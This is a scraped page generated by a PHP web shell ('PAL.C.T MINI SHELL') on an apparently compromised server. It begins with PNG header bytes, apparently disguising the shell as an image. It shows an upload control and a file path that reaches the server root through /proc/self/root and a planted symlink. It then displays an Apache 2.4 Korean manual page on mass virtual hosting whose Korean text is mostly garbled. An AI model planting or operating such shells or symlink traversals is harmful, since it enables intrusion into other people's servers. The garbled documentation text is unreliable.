php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/var/www/html/sub/images/sym/root/opt/lampp/manual/vhosts/
upload
files >> //proc/self/root/var/www/html/sub/images/sym/root/opt/lampp/manual/vhosts/mass.html.ko.euc-kr

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<p class="menu"><a href="../mod/"></a> | <a href="../mod/directives.html">þ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html"></a> | <a href="../sitemap.html">Ʈ</a></p>
<p class="apache">Apache HTTP Server Version 2.4</p>
<img alt="" src="../images/feather.gif" /></div>
<div class="up"><a href="./"><img title="&lt;-" alt="&lt;-" src="../images/left.gif" /></a></div>
<div id="path">
<a href="http://www.apache.org/">Apache</a> &gt; <a href="http://httpd.apache.org/">HTTP Server</a> &gt; <a href="http://httpd.apache.org/docs/">Documentation</a> &gt; <a href="../">Version 2.4</a> &gt; <a href="./">ȣƮ</a></div><div id="page-content"><div id="preamble"><h1>뷮 ȣƮ  ϱ</h1>
<div class="toplang">
<p><span> : </span><a href="../en/vhosts/mass.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/vhosts/mass.html" hreflang="fr" rel="alternate" title="Fran&#231;ais">&nbsp;fr&nbsp;</a> |
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<div class="outofdate">  ֽ  ƴմϴ.
            ֱٿ     ϼ.</div>


    <p>  ġ 1.3 뷮 ȣƮ ȿ
    ϴ  Ѵ. 
    </p>

</div>
<div id="quickview"><ul id="toc"><li><img alt="" src="../images/down.gif" /> <a href="#motivation"></a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#overview"></a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#simple">  ȣƮ</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#homepages"> ȣƮϴ Ȩ ý</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#combinations">   ȣƮ
    ý ϱ</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ipbased"> ȿ IP ȣƮ</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#oldversion">ġ   ϱ</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#simple.rewrite"><code>mod_rewrite</code>
       ȣƮ</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#homepages.rewrite"><code>mod_rewrite</code>
     Ȩ ý</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#xtra-conf"> ȣƮ 
    ϱ</a></li>
</ul><ul class="seealso"><li><a href="#comments_section">Comments</a></li></ul></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="motivation" id="motivation"></a></h2>

    <p> <code>httpd.conf</code>    
    <code>&lt;VirtualHost&gt;</code> ǵ  ִٸ ⼭
    ϴ    ̴:</p>

<div class="example"><p><code>
NameVirtualHost 111.22.33.44<br />
&lt;VirtualHost 111.22.33.44&gt;<br />
<span class="indent">
    ServerName                 www.customer-1.com<br />
    DocumentRoot        /www/hosts/www.customer-1.com/docs<br />
    ScriptAlias  /cgi-bin/  /www/hosts/www.customer-1.com/cgi-bin<br />
</span>
&lt;/VirtualHost&gt;<br />
&lt;VirtualHost 111.22.33.44&gt;<br />
<span class="indent">
    ServerName                 www.customer-2.com<br />
    DocumentRoot        /www/hosts/www.customer-2.com/docs<br />
    ScriptAlias  /cgi-bin/  /www/hosts/www.customer-2.com/cgi-bin<br />
</span>
&lt;/VirtualHost&gt;<br />
# ٺ ٺ ٺ<br />
&lt;VirtualHost 111.22.33.44&gt;<br />
<span class="indent">
    ServerName                 www.customer-N.com<br />
    DocumentRoot        /www/hosts/www.customer-N.com/docs<br />
    ScriptAlias  /cgi-bin/  /www/hosts/www.customer-N.com/cgi-bin<br />
</span>
&lt;/VirtualHost&gt;
</code></p></div>

    <p>⺻   <code>&lt;VirtualHost&gt;</code>
     θ  óϵ üϴ ̴.
    ׷   ִ:</p>

    <ol>
      <li> ۾ ġ  ϰ ޸𸮸
       Ѵ.</li>

      <li>ȣƮ ߰ϱ Ͻýۿ 
      丮  DNS ׸ ߰ϱ⸸ ϸȴ. ,
      ġ 缳ϰ  ʿ䰡 .</li>
    </ol>

    <p>  ȣƮ ٸ α   ٴ
    ̴. ׷ ſ  ȣƮ Ѵٸ ϱڸ
     ⶧  ٸ α   . 
    fifo α׸ , ޴  α׸ óϿ 
     (    ִ)  .</p>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="overview" id="overview"></a></h2>

    <p>ȣƮ IP ּҿ HTTP û <code>Host:</code>
      Ѵ. ⺻ 뷮
     ȣƮ  ڵ ȣƮ  û
    ϰο Ѵ. ̴ κ <code class="module"><a href="../mod/mod_vhost_alias.html">mod_vhost_alias</a></code>
    Ͽ  ذ  , ġ 1.3.6 ϸ Ѵٸ
    <code class="module"><a href="../mod/mod_rewrite.html">mod_rewrite</a></code> ؾ Ѵ.   
     ⺻  Ե ʴ´.   Ϸ
    ġ ϰ Ҷ ؾ Ѵ.</p>

    <p> ȣƮ Ϲ ȣƮó ̰Ϸ
     `ӿ' Ѵ.  ߿  ġ ڱ
    URL  鶧  ̴. 
    <code>ServerName</code> þ ϸ, CGI
    <code>SERVER_NAME</code> ȯ溯 ־.   
     <code class="directive"><a href="../mod/core.html#usecanonicalname">UseCanonicalName</a></code>  ޷ȴ.
    <code>UseCanonicalName Off</code≯ û <code>Host:</code>
       ȴ. <code>UseCanonicalName DNS</code≯
    ȣƮ IP ּҸ DNS ˻Ͽ  ˾Ƴ.
    ڴ ̸  ȣƮ ϰ, ڴ IP
    ȣƮ Ѵ. <code>Host:</code>  ų
    DNS ˻ Ͽ ġ  ˾Ƴ ϸ
    <code>ServerName</code>    Ѵ.</p>

    <p>ٸ `'  (<code>DocumentRoot</code> ϸ,
    CGI <code>DOCUMENT_ROOT</code> ȯ溯 ־)
    Ʈ̴. Ϲ  core    Ͽ
    URI شϴ ϸ ã,   ȣ Ҷ ٸ
     (<code>mod_vhost_alias</code> <code>mod_rewrite</code>)
    ٸ  ̷ ۾ Ѵ.   
    <code>DOCUMENT_ROOT</code> ȯ溯  Ƿ
    CGI SSI    Ѵٸ ߸   
    ִ.</p>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="simple" id="simple">  ȣƮ</a></h2>

    <p> <a href="#motivation"></a>  ȣƮ
     <code>mod_vhost_alias</code> Ͽ  Ϲ
    ߴ.</p>

<div class="example"><p><code>
# Host:   ˾Ƴ<br />
UseCanonicalName Off<br />
<br />
# ù° ʵ带 Ͽ  α׸ ȣƮ   ִ<br />
LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon<br />
CustomLog logs/access_log vcommon<br />
<br />
# û óϱ ϸ  Ѵ<br />
VirtualDocumentRoot /www/hosts/%0/docs<br />
VirtualScriptAlias  /www/hosts/%0/cgi-bin
</code></p></div>

    <p>  <code>UseCanonicalName Off</code>
    <code>UseCanonicalName DNS</code> ϱ⸸ ϸ IP
    ȣƮ ȴ. ȣƮ IP ּҸ 
    ϸ ߰    ִ.</p>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="homepages" id="homepages"> ȣƮϴ Ȩ ý</a></h2>

    <p>ISP Ȩ     ߴ.  
      ϸ <code>www.user.isp.com</code> 
    <code>/home/user/</code> δ   Ϻθ 
    ϸ   ִ.  
    <code>cgi-bin</code>  ȣƮ  ʰ
     ȣƮ  Ѵ.</p>

<div class="example"><p><code>
# ⺻   . ׸<br />
<br />
# ϸ  Ϻθ Ѵ<br />
VirtualDocumentRoot /www/hosts/%2/docs<br />
<br />
# ϳ cgi-bin 丮<br />
ScriptAlias  /cgi-bin/  /www/std-cgi/<br />
</code></p></div>

    <p><code class="module"><a href="../mod/mod_vhost_alias.html">mod_vhost_alias</a></code>   
    <code>VirtualDocumentRoot</code>   ִ.</p>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="combinations" id="combinations">   ȣƮ
    ý ϱ</a></h2>

    <p>    ġ Ϲ
    <code>&lt;VirtualHost&gt;</code> þ Ͽ 
    ȣƮ     ִ.  , 
      Ȩ  IP ּ Ѱ, 
     ٸ IP ּ Ѱ οѴ.  ó
    <code>&lt;VirtualHost&gt;</code>  ǿ   
    ִ.</p>

<div class="example"><p><code>
UseCanonicalName Off<br />
<br />
LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon<br />
<br />
&lt;Directory /www/commercial&gt;<br />
<span class="indent">
    Options FollowSymLinks<br />
    AllowOverride All<br />
</span>
&lt;/Directory&gt;<br />
<br />
&lt;Directory /www/homepages&gt;<br />
<span class="indent">
    Options FollowSymLinks<br />
    AllowOverride None<br />
</span>
&lt;/Directory&gt;<br />
<br />
&lt;VirtualHost 111.22.33.44&gt;<br />
<span class="indent">
    ServerName www.commercial.isp.com<br />
    <br />
    CustomLog logs/access_log.commercial vcommon<br />
    <br />
    VirtualDocumentRoot /www/commercial/%0/docs<br />
    VirtualScriptAlias  /www/commercial/%0/cgi-bin<br />
</span>
&lt;/VirtualHost&gt;<br />
<br />
&lt;VirtualHost 111.22.33.45&gt;<br />
<span class="indent">
    ServerName www.homepages.isp.com<br />
    <br />
    CustomLog logs/access_log.homepages vcommon<br />
    <br />
    VirtualDocumentRoot /www/homepages/%0/docs<br />
    ScriptAlias         /cgi-bin/ /www/std-cgi/<br />
</span>
&lt;/VirtualHost&gt;
</code></p></div>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="ipbased" id="ipbased"> ȿ IP ȣƮ</a></h2>

    <p><a href="#simple">ù° </a>   
    IP ȣƮ ٲ  ִٰ ߴ. 
    ׷   û DNS ãƾϹǷ ſ ȿ̴.
    ̸ IP ּҷ Ͻý ϰ  
    α׸ ϸ  ذ  ִ. ġ 
    ٷ ʿ䰡 , DNS ˻  ʰ ȴ.</p>

<div class="example"><p><code>
# IP ּҸ DNS ˻Ͽ  ˾Ƴ<br />
UseCanonicalName DNS<br />
<br />
# α׸   ֵ IP ּҸ Ѵ<br />
LogFormat "%A %h %l %u %t \"%r\" %s %b" vcommon<br />
CustomLog logs/access_log vcommon<br />
<br />
# ϸ IP ּҸ Ѵ<br />
VirtualDocumentRootIP /www/hosts/%0/docs<br />
VirtualScriptAliasIP  /www/hosts/%0/cgi-bin<br />
</code></p></div>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="oldversion" id="oldversion">ġ   ϱ</a></h2>

    <p>  ġ  1.3.6 Ŀ Ե
    <code>mod_vhost_alias</code> Ѵ.
    <code>mod_vhost_alias</code>  ġ  Ѵٸ
    ̹ ߵ <code>mod_rewrite</code> Ͽ, 
    Host:- ȣƮ,   ִ.</p>

    <p> α׿ Ͽ   ִ. ġ 1.3.6
    α þ <code>%V</code> ԵǾ,  1.3.0
    - 1.3.3   <code>%v</code> ɼ  ߴ. ׷
     1.3.4 ̷  .  ġ 
    <code>.htaccess</code> Ͽ <code>UseCanonicalName</code>
    þ   Ƿ α׿ ̻  ϵ  ִ.
    ׷Ƿ    <code>%{Host}i</code> þ
    Ͽ <code>Host:</code>   α׿  ̴.
    ,   <code>%V</code> ʴ <code>:port</code>
    ڿ ߰  ִ.</p>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="simple.rewrite" id="simple.rewrite"><code>mod_rewrite</code>
       ȣƮ</a></h2>

    <p> <a href="#simple">ù° </a>   ϴ
    <code>httpd.conf</code> ̴. ó  ù° 
     ,   ȣȯ <code>mod_rewrite</code>
       Ǿ.    ۾
    ϴ <code>mod_rewrite</code> Ѵ.</p>

    <p>Ư ؾ   ִ. ⺻
    <code>mod_rewrite</code> (<code>mod_alias</code> ) ٸ
    URI    ȴ. ׷ ٸ URI  
       Ͽ <code>mod_rewrite</code> ؾ Ѵ.
    ,  ȣƮ <code>ScriptAlias</code> 
     ؼ Ư ۾ ʿϴ.</p>

<div class="example"><p><code>
# Host:   ´<br />
UseCanonicalName Off<br />
<br />
# splittable logs<br />
LogFormat "%{Host}i %h %l %u %t \"%r\" %s %b" vcommon<br />
CustomLog logs/access_log vcommon<br />
<br />
&lt;Directory /www/hosts&gt;<br />
<span class="indent">
    # ScriptAlias  CGI    ⶧<br />
    # ⿡ ExecCGI Ѵ<br />
    Options FollowSymLinks ExecCGI<br />
</span>
&lt;/Directory&gt;<br />
<br />
#   κ̴<br />
<br />
RewriteEngine On<br />
<br />
# Host:    ҹڰ ڼ  ִ<br />
RewriteMap  lowercase  int:tolower<br />
<br />
## Ϲ   óѴ:<br />
# Alias /icons/  ϵ - ٸ alias ؼ ݺ<br />
RewriteCond  %{REQUEST_URI}  !^/icons/<br />
# CGI ϵ<br />
RewriteCond  %{REQUEST_URI}  !^/cgi-bin/<br />
# Ư ۾<br />
RewriteRule  ^/(.*)$  /www/hosts/${lowercase:%{SERVER_NAME}}/docs/$1<br />
<br />
##  CGI óѴ - MIME type ؾ Ѵ<br />
RewriteCond  %{REQUEST_URI}  ^/cgi-bin/<br />
RewriteRule  ^/(.*)$  /www/hosts/${lowercase:%{SERVER_NAME}}/cgi-bin/$1  [T=application/x-httpd-cgi]<br />
<br />
# !
</code></p></div>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="homepages.rewrite" id="homepages.rewrite"><code>mod_rewrite</code>
     Ȩ ý</a></h2>

    <p> <a href="#homepages">ι° </a>  
    Ѵ.</p>

<div class="example"><p><code>
RewriteEngine on<br />
<br />
RewriteMap   lowercase  int:tolower<br />
<br />
# CGI ϵ<br />
RewriteCond  %{REQUEST_URI}  !^/cgi-bin/<br />
<br />
# RewriteRule ϵ ȣƮ ùٸ ˻Ѵ<br />
RewriteCond  ${lowercase:%{SERVER_NAME}}  ^www\.[a-z-]+\.isp\.com$<br />
<br />
# ȣƮ URI տ δ<br />
# [C]     ۼ  Ѵ<br />
RewriteRule  ^(.+)  ${lowercase:%{SERVER_NAME}}$1  [C]<br />
<br />
#   ϸ <br />
RewriteRule  ^www\.([a-z-]+)\.isp\.com/(.*) /home/$1/$2<br />
<br />
# ü CGI 丮 Ѵ<br />
ScriptAlias  /cgi-bin/  /www/std-cgi/
</code></p></div>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="xtra-conf" id="xtra-conf"> ȣƮ 
    ϱ</a></h2>

    <p> <code>mod_rewrite</code>   Ͽ
       ȣƮ Ʈ ˾Ƴ.
         ʿϴ.</p>

    <p><code>vhost.map</code>   :</p>

<div class="example"><p><code>
www.customer-1.com  /www/customers/1<br />
www.customer-2.com  /www/customers/2<br />
# ...<br />
www.customer-N.com  /www/customers/N<br />
</code></p></div>

    <p><code>http.conf</code>  :</p>

<div class="example"><p><code>
RewriteEngine on<br />
<br />
RewriteMap   lowercase  int:tolower<br />
<br />
#  Ѵ<br />
RewriteMap   vhost      txt:/www/conf/vhost.map<br />
<br />
#   alias óѴ<br />
RewriteCond  %{REQUEST_URI}               !^/icons/<br />
RewriteCond  %{REQUEST_URI}               !^/cgi-bin/<br />
RewriteCond  ${lowercase:%{SERVER_NAME}}  ^(.+)$<br />
#    ã´<br />
RewriteCond  ${vhost:%1}                  ^(/.*)$<br />
RewriteRule  ^/(.*)$                      %1/docs/$1<br />
<br />
RewriteCond  %{REQUEST_URI}               ^/cgi-bin/<br />
RewriteCond  ${lowercase:%{SERVER_NAME}}  ^(.+)$<br />
RewriteCond  ${vhost:%1}                  ^(/.*)$<br />
RewriteRule  ^/(.*)$                      %1/cgi-bin/$1
</code></p></div>

</div></div>
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